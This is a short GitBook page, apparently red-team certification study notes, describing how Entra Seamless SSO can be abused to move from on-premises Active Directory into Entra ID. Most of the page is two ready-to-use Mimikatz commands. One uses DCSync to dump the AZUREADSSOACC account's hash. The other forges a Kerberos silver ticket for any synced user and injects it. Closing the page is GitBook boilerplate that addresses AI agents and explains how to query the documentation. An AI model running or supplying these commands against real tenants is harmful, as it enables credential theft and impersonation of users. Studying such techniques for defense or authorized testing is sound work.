> For the complete documentation index, see [llms.txt](https://bernas.gitbook.io/cartp-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bernas.gitbook.io/cartp-everything/lateral-movement/on-prem-greater-than-azure-ad/seamless-sso.md).

# Seamless SSO

### Overview

> Supported by both PHS and PTA.

Entra Seamless SSO automatically signs users in when they are using an on-premises domain-joined machine, eliminating the need to enter passwords when accessing Entra ID or on-premises applications.

> This endpoint accepts Kerberos tickets:\
> <https://autologon.microsoftazuread-sso.com>

When used **AZUREADSSOACC** is created in on-prem. This account's kerberos decryption key is shared with Entra ID.

**NTLM hash of the AZUREADSSOACC = Silver Ticket for any synced on-prem user.**

### Silver Ticket

```ps1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:[domain]\azureadssoacc$
/domain:[domain] /dc:[dc_alias]"'
```

```ps1
Invoke-Mimikatz -Command '"kerberos::golden /user:[user] /sid:[sid] /id:1108 /domain:[domain] /rc4:<> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://bernas.gitbook.io/cartp-everything/lateral-movement/on-prem-greater-than-azure-ad/seamless-sso.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
